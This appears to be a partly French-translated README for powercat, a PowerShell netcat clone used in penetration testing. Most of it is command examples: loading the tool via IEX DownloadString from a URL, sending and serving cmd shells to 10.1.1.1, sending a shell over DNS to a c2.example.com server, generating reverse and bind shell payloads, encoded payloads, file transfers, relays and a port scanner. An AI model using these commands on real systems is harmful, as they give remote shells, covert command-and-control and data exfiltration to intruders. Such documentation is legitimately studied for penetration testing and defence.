
netshell inclut toutes les fonctionnalités de PowerShell version 2
Netcat : la version powershell. (PowerShell version 2 et ultérieur pris en charge)
powercat est une fonction powershell. Vous devez d'abord charger la fonction avant de pouvoir l'exécuter. Vous pouvez placer l'une des commandes ci-dessous dans votre profil powershell pour que powercat soit automatiquement chargé au démarrage de powershell.
Load The Function From Downloaded .ps1 File:
. .\powercat.ps1
Load The Function From URL:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
-l Écouter une connexion. [Switch]
-c Se connecter à un écouteur. [String]
-p Le port auquel se connecter ou sur lequel écouter. [String]
-e Exécuter. (GAPING_SECURITY_HOLE) [String]
-ep Exécuter PowerShell. [Switch]
-r Relais. Format : "-r tcp:10.1.1.1:443" [String]
-u Transférer des données via UDP. [Switch]
-dns Transférer des données via DNS (dnscat2). [String]
-dnsft Seuil d'échec DNS. [int32]
-t Option de délai d'attente. Par défaut : 60 [int32]
-i Entrée : chemin de fichier (chaîne), tableau d'octets ou chaîne. [object]
-o Type de sortie console : "Host", "Bytes" ou "String" [String]
-of Chemin du fichier de sortie. [String]
-d Déconnecter après la connexion. [Switch]
-rep Répéteur. Redémarrer après déconnexion. [Switch]
-g Générer une charge utile. [Switch]
-ge Générer une charge utile encodée. [Switch]
-h Afficher le message d'aide. [Switch]
Par défaut, powercat lit l'entrée depuis la console et écrit la sortie sur la console en utilisant write-host. Vous pouvez changer le type de sortie en 'Bytes' ou 'String' avec -o.
Basic Client:
powercat -c 10.1.1.1 -p 443
Basic Listener:
powercat -l -p 8000
Basic Client, Output as Bytes:
powercat -c 10.1.1.1 -p 443 -o Bytes
powercat peut être utilisé pour transférer des fichiers dans les deux sens en utilisant -i (Entrée) et -of (Fichier de sortie).
Send File:
powercat -c 10.1.1.1 -p 443 -i C:\inputfile
Recieve File:
powercat -l -p 8000 -of C:\inputfile
powercat peut être utilisé pour envoyer et servir des shells. Spécifiez un exécutable avec -e, ou utilisez -ep pour exécuter powershell.
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Serve a shell which executes powershell commands:
powercat -l -p 443 -ep
powercat prend en charge plus que l'envoi de données via TCP. Spécifiez -u pour activer le mode UDP. Les données peuvent également être envoyées à un serveur dnscat2 avec -dns. Assurez-vous d'ajouter "-e open --no-cache" lors de l'exécution du serveur dnscat2.
Send Data Over UDP:
powercat -c 10.1.1.1 -p 8000 -u
powercat -l -p 8000 -u
Connect to the c2.example.com dnscat2 server using the DNS server on 10.1.1.1:
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:
powercat -dns c2.example.com -e cmd
Les relais dans powercat fonctionnent comme les relais netcat traditionnels, mais vous n'avez pas besoin de créer un fichier ou de démarrer un second processus. Vous pouvez également relayer des données entre des connexions de différents protocoles.
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
TCP Listener to UDP Client Relay:
powercat -l -p 8000 -r udp:10.1.1.16:53
TCP Listener to DNS Client Relay
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
TCP Listener to DNS Client Relay using the Windows Default DNS Server
powercat -l -p 8000 -r dns:::c2.example.com
TCP Client to Client Relay
powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
TCP Listener to Listener Relay
powercat -l -p 8000 -r tcp:9000
Des charges utiles qui effectuent une action spécifique peuvent être générées en utilisant -g (Générer une charge utile) et -ge (Générer une charge utile encodée). Les charges utiles encodées peuvent être exécutées avec powershell -E. Vous pouvez les utiliser si vous ne voulez pas utiliser toute la fonctionnalité de powercat.
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Generate a bind tcp encoded command which listens on port 8000:
powercat -l -p 8000 -e cmd -ge
powercat peut également être utilisé pour effectuer des scans de ports et démarrer des serveurs persistants.
Basic TCP Port Scanner:
(21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep